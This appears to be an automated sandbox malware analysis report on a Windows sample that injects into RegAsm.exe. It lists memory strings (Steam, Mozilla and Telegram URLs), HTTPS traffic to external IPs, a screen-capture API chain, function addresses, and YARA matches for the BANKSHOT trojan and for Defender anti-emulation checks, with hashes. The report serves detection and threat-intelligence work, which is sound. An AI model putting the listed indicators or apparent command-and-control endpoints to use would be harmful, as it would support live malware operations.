Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: IEHCAK.2.dr	String found in binary or memory: https://support.mozilla.org
Source: IEHCAK.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IEHCAK.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/copterwin
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: HCFIJK.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: HCFIJK.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IEHCAK.2.dr	String found in binary or memory: https://www.mozilla.org
Source: IEHCAK.2.dr	String found in binary or memory: https://www.mozilla.org#
Source: IEHCAK.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: IEHCAK.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: IEHCAK.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.6:49715 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004112FD _EH_prolog,memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_004112FD

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC9B8C0 rand_s,NtQueryVirtualMemory,	2_2_6CC9B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC9B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6CC9B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC9B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CC9B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CC3F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00146AF8	0_2_00146AF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00143560	0_2_00143560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C07A	2_2_0041C07A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E190	2_2_0041E190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041BB29	2_2_0041BB29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041CCA7	2_2_0041CCA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC335A0	2_2_6CC335A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC76CF0	2_2_6CC76CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC46C80	2_2_6CC46C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCAAC00	2_2_6CCAAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC75C10	2_2_6CC75C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC82C10	2_2_6CC82C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC70DD0	2_2_6CC70DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC4FD00	2_2_6CC4FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC5ED10	2_2_6CC5ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3BEF0	2_2_6CC3BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC4FEF0	2_2_6CC4FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC55E90	2_2_6CC55E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC94EA0	2_2_6CC94EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC82E4E	2_2_6CC82E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC59E50	2_2_6CC59E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC73E50	2_2_6CC73E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA6E63	2_2_6CCA6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC77E10	2_2_6CC77E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC99E30	2_2_6CC99E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3DFE0	2_2_6CC3DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC66FF0	2_2_6CC66FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC49F00	2_2_6CC49F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC758E0	2_2_6CC758E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC58850	2_2_6CC58850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC5D850	2_2_6CC5D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC47810	2_2_6CC47810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC7B820	2_2_6CC7B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC84820	2_2_6CC84820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC92990	2_2_6CC92990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3C9A0	2_2_6CC3C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC6D9B0	2_2_6CC6D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC5A940	2_2_6CC5A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC4D960	2_2_6CC4D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC8B970	2_2_6CC8B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC78AC0	2_2_6CC78AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC51AF0	2_2_6CC51AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCABA90	2_2_6CCABA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC64AA0	2_2_6CC64AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC4CAB0	2_2_6CC4CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA2AB0	2_2_6CCA2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC79A60	2_2_6CC79A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC464C0	2_2_6CC464C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC5D4D0	2_2_6CC5D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3D4E0	2_2_6CC3D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC934A0	2_2_6CC934A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC9C4A0	2_2_6CC9C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC45440	2_2_6CC45440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA545C	2_2_6CCA545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA542B	2_2_6CCA542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC985F0	2_2_6CC985F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC60512	2_2_6CC60512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA76E3	2_2_6CCA76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC9E680	2_2_6CC9E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC54640	2_2_6CC54640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3C670	2_2_6CC3C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC85600	2_2_6CC85600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC877A0	2_2_6CC877A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC77710	2_2_6CC77710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA50C7	2_2_6CCA50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC5C0E0	2_2_6CC5C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC660A0	2_2_6CC660A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC7F070	2_2_6CC7F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC75190	2_2_6CC75190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCAB170	2_2_6CCAB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC7E2F0	2_2_6CC7E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC322A0	2_2_6CC322A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCA53C8	2_2_6CCA53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC3F380	2_2_6CC3F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC35340	2_2_6CC35340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC4C370	2_2_6CC4C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC7D320	2_2_6CC7D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD3ECD0	2_2_6CD3ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCDECC0	2_2_6CCDECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCEAC60	2_2_6CCEAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDA6C00	2_2_6CDA6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDBAC30	2_2_6CDBAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE6CDC0	2_2_6CE6CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD76D90	2_2_6CD76D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCE4DB0	2_2_6CCE4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDAED70	2_2_6CDAED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE0AD50	2_2_6CE0AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE68D20	2_2_6CE68D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCEAEC0	2_2_6CCEAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD80EC0	2_2_6CD80EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD66E90	2_2_6CD66E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD7EE70	2_2_6CD7EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDC0E20	2_2_6CDC0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDBEFF0	2_2_6CDBEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCE0FE0	2_2_6CCE0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE28FB0	2_2_6CE28FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCEEFB0	2_2_6CCEEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD4EF40	2_2_6CD4EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDA2F70	2_2_6CDA2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CE20F20	2_2_6CE20F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CCE6F10	2_2_6CCE6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDE68E0	2_2_6CDE68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDB4840	2_2_6CDB4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD30820	2_2_6CD30820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD6A820	2_2_6CD6A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD149F0	2_2_6CD149F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDFC9E0	2_2_6CDFC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDA09B0	2_2_6CDA09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD709A0	2_2_6CD709A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD9A9A0	2_2_6CD9A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD18960	2_2_6CD18960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD36900	2_2_6CD36900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD5EA80	2_2_6CD5EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD5CA70	2_2_6CD5CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD8EA00	2_2_6CD8EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CD98A30	2_2_6CD98A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CDE6BE0	2_2_6CDE6BE0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001351D0 appears 48 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CC794D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CC6CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004024D7 appears 311 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6CE609D0 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004180A8 appears 104 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
